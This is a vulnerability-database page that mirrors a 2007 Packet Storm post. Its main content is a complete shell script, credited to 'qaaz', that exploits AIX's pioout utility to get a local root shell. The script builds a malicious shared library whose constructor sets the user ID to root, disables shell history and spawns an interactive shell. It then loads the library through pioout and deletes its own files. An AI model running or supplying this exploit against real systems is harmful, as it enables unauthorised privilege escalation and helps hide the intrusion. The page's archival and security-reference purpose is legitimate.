Lucene search

K

aix53-pioout.txt

๐Ÿ—“๏ธย 28 Jul 2007ย 00:00:00Reported byย qaazTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 15ย Views

AIX pioout Local Root Exploi

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`#!/bin/sh  
#  
# 07/2007: public release  
#  
echo "-------------------------------"  
echo " AIX pioout Local Root Exploit "  
echo " By qaaz"  
echo "-------------------------------"  
cat >piolib.c <<_EOF_  
#include <stdlib.h>  
#include <unistd.h>  
void init() __attribute__ ((constructor));  
void init()  
{  
seteuid(0);  
setuid(0);  
putenv("HISTFILE=/dev/null");  
execl("/bin/bash", "bash", "-i", (void *) 0);  
execl("/bin/sh", "sh", "-i", (void *) 0);  
perror("execl");  
exit(1);  
}  
_EOF_  
gcc piolib.c -o piolib -shared -fPIC  
[ -r piolib ] && /usr/lpd/pio/etc/pioout -R ./piolib  
rm -f piolib.c piolib  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
28 Jul 2007 00:00Current
7.4High risk
Vulners AI Score7.4
15
.json
Report